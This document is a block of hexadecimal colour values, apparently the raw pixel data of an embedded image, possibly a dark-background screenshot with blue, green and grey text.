+000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +707070000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000000000000000000000000000027400F8AE23477C32D +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000000000000000000000000000017202A729FCF6B96C3 +000000000000000000000000000000000000000000000000000000000000273747729FCF729FCF +729FCF719DCD000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000005070A395068395068030405000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000000000000000000000000000000000000000005070A +395068395068030405000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000F151B587A9F6E99C7729FCF6B96C30000000000000000000000000F151B587A9F6E99C7 +729FCF6B96C3000000000000000000000000202D3A729FCF6289B3000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000707070707070707070707070707070 +707070707070707070707070707070707070707070707070707070000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000001B2B0A5F9C2452861F000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000017202A729FCF6B96C3000000000000000000000000000000 +0000000000000000000000000000001E2A36587A9F5C80A7729FCF719DCD000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000000000B0F13 +729FCF729FCF05070A000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000B0F13729FCF729FCF05070A000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000445E7B729FCF6A94C1587A9F +527295000000000000000000000000445E7B729FCF6A94C1587A9F527295000000000000000000 +000000161F284F6E8F445E7B000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000707070707070707070707070707070707070707070707070707070707070 +707070707070707070707070000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +17202A729FCF6B96C3000000000000000000000000000000000000000000000000000000000000 +000000000000141B24729FCF719DCD000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000B0F13729FCF729FCF05070A000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000B0F13729FCF729FCF05070A000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000527395729FCF32465B000000000000000000000000000000000000 +527395729FCF32465B000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000707070707070 +707070707070707070707070707070707070707070707070707070707070707070707070000000 +385C158AE23447751B83D63158902146721A84D8325E9A2302040100000020350C61A0257CCC2F +87DE337FCF305890210A11040000000000003455148AE2348AE2348AE23477C32D000000000000 +00000000000066A7268AE23447741B6BAF2885D93264A3260A1104000000000000000000000000 +0000000000000000000000000000000000000000007ECE2F8AE234385B156FB62A86DC3366A827 +0F19060000003456148AE23475C02C0000000000000000006FB62A8AE2343C6116000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000006891BC729FCF +2E40545C80A66F9BC95476990D11170000000000001B2531507092678FBB709CCB6992BE496684 +080C0F000000000000010102395068638AB46F9BC96891BD52729511171E000000000000010102 +395068638AB46F9BC96891BD52729511171E0000006993BF6187B0000000000000000000000000 +0000005E84AB6C96C40000000B0F135272956E9AC95A7DA3263545729FCF6B96C3000000000000 +000000000000000000000000000000000000000000000000000000000000141B24729FCF719DCD +000000000000000000000000000000010102395068638AB46F9BC96891BD52729511171E000000 +151E27729FCF729FCF729FCF729FCF729FCF729FCF6289B3000000000000010102395068638AB4 +6F9BC96891BD52729511171E000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000000000000000000000000000000000000000001020045711A78C52D86DC33 +7ECF3063A2251421080000000000000000000C1405568D207FCF3085D9326FB72A335313000000 +00000020350C61A0257CCC2F87DE337FCF305890210A110400000000000066A7268AE23447741B +6BAF2885D93264A3260A110400000000000001020045711A78C52D86DC337ECF3063A225142108 +0000000000000000000000000000000000000000000000000000000000000000007ECE2F8AE234 +385B156FB62A86DC3366A8270F19060000003456148AE23475C02C0000000000000000006FB62A +8AE2343C6116000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000151E27729FCF729FCF729FCF729FCF +729FCF729FCF6289B3000000000000000000648CB6729FCF2E40545374976E9AC96B95C2283849 +0000001B2531507092678FBB709CCB6992BE496684080C0F000000000000527395729FCF729FCF +729FCF729FCF729FCF6B96C3000000000000527395729FCF729FCF729FCF729FCF729FCF6B96C3 +0000000000002B3C4E729FCF729FCF729FCF6289B30000000000000000000000000000000A0E13 +4763816992BE6E99C75C80A72A3B4C000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000707070707070707070707070707070707070707070 +707070707070707070707070707070707070707070000000385C158AE2347DCD2F7ECE2F8AE234 +7FD0307BCA2E8AE23423390D00000045711A89E13477C32D66A8277FD0308AE2345B9622000000 +00000028410F6AAE2873BC2B8AE23477C32D00000000000000000000000066A7268AE23486DC33 +65A62682D6318AE2344A791C000000000000000000000000000000000000000000000000000000 +0000000000007ECE2F8AE23486DB326AAE287FD0308AE23463A225000000070C0385D9328AE234 +192A0A000000111B068AE23488DF330C1405000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000006891BC729FCF6E9AC9587A9F6993BF729FCF527295 +000000000000395068729ECE6289B35476996993BF729FCF4C698900000000000033475D729FCF +6A94C15070915B7FA5709CCB1E2A3700000000000033475D729FCF6A94C15070915B7FA5709CCB +1E2A3700000056789D709CCB0102020000000000000000000001016E99C8597DA2000000537497 +729FCF729FCF709CCB6A93C0729FCF6B96C3000000000000000000000000000000000000000000 +000000000000000000000000000000141B24729FCF719DCD000000000000000000000000000000 +33475D729FCF6A94C15070915B7FA5709CCB1E2A3700000010161D587A9F5A7DA3729FCF729FCF +597BA1587A9F4B698800000000000033475D729FCF6A94C15070915B7FA5709CCB1E2A37000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000003E65178AE23481D331619F256EB42987DE33253C0E000000000000 +060A0275BF2C8AE2348AE23482D5318AE2346AAE2800000000000045711A89E13477C32D66A827 +7FD0308AE2345B962200000000000066A7268AE23486DC3365A62682D6318AE2344A791C000000 +0000003E65178AE23481D331619F256EB42987DE33253C0E000000000000000000000000000000 +0000000000000000000000000000000000007ECE2F8AE23486DB326AAE287FD0308AE23463A225 +000000070C0385D9328AE234192A0A000000111B068AE23488DF330C1405000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +00000000000000000010161D587A9F5A7DA3729FCF729FCF597BA1587A9F4B6988000000000000 +000000648CB6729FCF6D98C66A94C1587BA06992BE32465B000000395068729ECE6289B3547699 +6993BF729FCF4C69890000000000003F5772587A9F6B96C3729FCF6289B3587A9F527295000000 +0000003F5772587A9F6B96C3729FCF6289B3587A9F527295000000000000212E3B587A9F5F84AC +729FCF6289B30000000000000000000000000507096187AF729FCF729FCF6B96C3729FCF587A9F +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000707070707070707070707070707070707070707070707070707070707070707070707070 +707070707070000000385C158AE2343A5F16385C158AE2343F67183151138AE234365814000000 +23390D132007000000000000131F078AE23486DB3202030100000000000000000027400F8AE234 +77C32D00000000000000000000000066A7268AE2345890210000003A60168AE23469AC28000000 +0000000000000000000000000000000000000000000000000000000000007ECE2F8AE234599121 +0000001828098AE23489E134101B060000005992228AE23447751B0000003D63178AE23464A426 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000006891BC729FCF496685000000141C25729FCF729ECE0D13180000001D283410161D000000 +00000010161C729FCF6E9AC90102020000004F6E8F729FCF2A3B4D0000000000000E13190C1116 +0000000000004F6E8F729FCF2A3B4D0000000000000E13190C1116000000445E7B729FCF10161C +1F2B38496685212E3B0D1218729FCF4763800D1117729FCF729FCF2A3B4D03040656789C729FCF +6B96C3000000000000000000000000000000000000000000000000000000000000000000000000 +141B24729FCF719DCD0000000000000000000000000000004F6E8F729FCF2A3B4D000000000000 +0E13190C11160000000000000000000B0F13729FCF729FCF05070A000000000000000000000000 +4F6E8F729FCF2A3B4D0000000000000E13190C1116000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000000000000000000000005F9C24 +8AE234335413000000000000111B060F18060000000000003B61168AE23482D5311D300B000000 +0B130436591400000000000023390D132007000000000000131F078AE23486DB32020301000000 +66A7268AE2345890210000003A60168AE23469AC280000000000005F9C248AE234335413000000 +000000111B060F1806000000000000000000000000000000000000000000000000000000000000 +0000007ECE2F8AE2345991210000001828098AE23489E134101B060000005992228AE23447751B +0000003D63178AE23464A426000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0B0F13729FCF729FCF05070A000000000000000000000000000000648CB6729FCF5A7DA305070A +00000003040510161C0000001D283410161D00000000000010161C729FCF6E9AC9010202000000 +000000000000547599729FCF2E4154000000000000000000000000000000000000547599729FCF +2E4154000000000000000000000000000000000000202D3A729FCF6289B3000000000000000000 +000000314458729FCF6B96C318222C000000090D112D3E51000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000707070707070707070707070 +707070707070707070707070707070707070707070707070707070707070000000385C158AE234 +325213304E128AE23436591429430F8AE2343D631700000004070234561451851F5A93225B9622 +8AE2348AE2340B130400000000000000000027400F8AE23477C32D000000000000000000000000 +66A7268AE2343A5F1600000028420F8AE23474BE2C000000000000000000000000000000000000 +0000000000000000000000000000007ECE2F8AE2342C481100000000000078C42D8AE234253D0E +000000263F0E8AE23475C02C00000069AC288AE234335413000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000000006891BC729FCF243342000000 +000000638AB3729FCF1F2B380000000405062B3C4F435E7A4A68874C6989729FCF729FCF090D11 +0000003F5872729FCF6C96C4435E7A222F3D0203040000000000000000003F5872729FCF6C96C4 +435E7A222F3D020304000000000000314458729FCF202C3A435D79729FCF45617E1E2936729FCF +34485E212E3B729FCF6A94C1010102000000263646729FCF6B96C3000000000000000000000000 +000000000000000000000000000000000000000000000000141B24729FCF719DCD000000000000 +0000000000000000003F5872729FCF6C96C4435E7A222F3D020304000000000000000000000000 +0B0F13729FCF729FCF05070A0000000000000000000000003F5872729FCF6C96C4435E7A222F3D +020304000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000004C7D1D8AE23482D63151851F29420F030401 +0000000000000000005E99238AE2344E801D000000000000000000000000000000000000040702 +34561451851F5A93225B96228AE2348AE2340B130400000066A7268AE2343A5F1600000028420F +8AE23474BE2C0000000000004C7D1D8AE23482D63151851F29420F030401000000000000000000 +0000000000000000000000000000000000000000000000000000007ECE2F8AE2342C4811000000 +00000078C42D8AE234253D0E000000263F0E8AE23475C02C00000069AC288AE234335413000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000000000000000000000000000000B0F13729FCF729FCF05070A000000 +000000000000000000000000648CB6729FCF2B3C4E000000000000000000000000000000040506 +2B3C4F435E7A4A68874C6989729FCF729FCF090D11000000000000000000547599729FCF2E4154 +000000000000000000000000000000000000547599729FCF2E4154000000000000000000000000 +000000000000202D3A729FCF6289B30000000000000000000000004D6C8C729FCF405A75000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000707070707070707070707070707070707070707070707070707070 +707070707070707070707070707070000000385C158AE234325213304E128AE23436591429430F +8AE2343E661702030167A8278AE2348AE2348AE2348AE2348AE2348AE2340F1906000000000000 +00000027400F8AE23477C32D00000000000000000000000066A7268AE23436591400000027400F +8AE23475BF2C000000000000000000000000000000000000000000000000000000000000000000 +7ECE2F8AE234233A0D0000000000006FB72A8AE234304F120000000203017CCB2F8AE234253C0E +89E03485DA32070C03000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000000006891BC729FCF1D29350000000000005C80A7729FCF283748010202 +55769A729FCF729FCF729FCF729FCF729FCF729FCF0D1117000000080C0F517194729ECE729FCF +729FCF658CB7121920000000000000080C0F517194729ECE729FCF729FCF658CB7121920000000 +1E2936729FCF304358597BA16790BC5B7FA52E4054729FCF212E3B253443729FCF5F85AD000000 +0000001A242F729FCF6B96C3000000000000000000000000000000000000000000000000000000 +000000000000000000141B24729FCF719DCD000000000000000000000000000000080C0F517194 +729ECE729FCF729FCF658CB71219200000000000000000000B0F13729FCF729FCF05070A000000 +000000000000000000080C0F517194729ECE729FCF729FCF658CB7121920000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000A110462A12589E1348AE2348AE2347AC72E16230800000000000068AA278AE234 +3D631700000000000000000000000000000002030167A8278AE2348AE2348AE2348AE2348AE234 +8AE2340F190600000066A7268AE23436591400000027400F8AE23475BF2C0000000000000A1104 +62A12589E1348AE2348AE2347AC72E162308000000000000000000000000000000000000000000 +0000000000000000000000007ECE2F8AE234233A0D0000000000006FB72A8AE234304F12000000 +0203017CCB2F8AE234253C0E89E03485DA32070C03000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +0000000000000000000B0F13729FCF729FCF05070A000000000000000000000000000000648CB6 +729FCF212E3B00000000000000000000000001020255769A729FCF729FCF729FCF729FCF729FCF +729FCF0D1117000000000000000000547599729FCF2E4154000000000000000000000000000000 +000000547599729FCF2E4154000000000000000000000000000000000000202D3A729FCF6289B3 +00000000000000000000000056789C729FCF32465B000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000707070 +707070707070707070707070707070707070707070707070707070707070707070707070707070 +000000385C158AE234325213304E128AE23436591429430F8AE2343F67181B2B0A8AE2348AE234 +355714060B02080C038AE2348AE2340F190600000000000000000027400F8AE23477C32D000000 +00000000000000000066A7268AE23436591400000027400F8AE23475BF2C000000000000000000 +0000000000000000000000000000000000000000000000007ECE2F8AE234335313000000000000 +7ECE2F8AE234253D0E0000000000004B7B1C8AE23478C42D8AE2345C9723000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 +000000000000000000000000000000000000000000000000000000000000000000000000000000 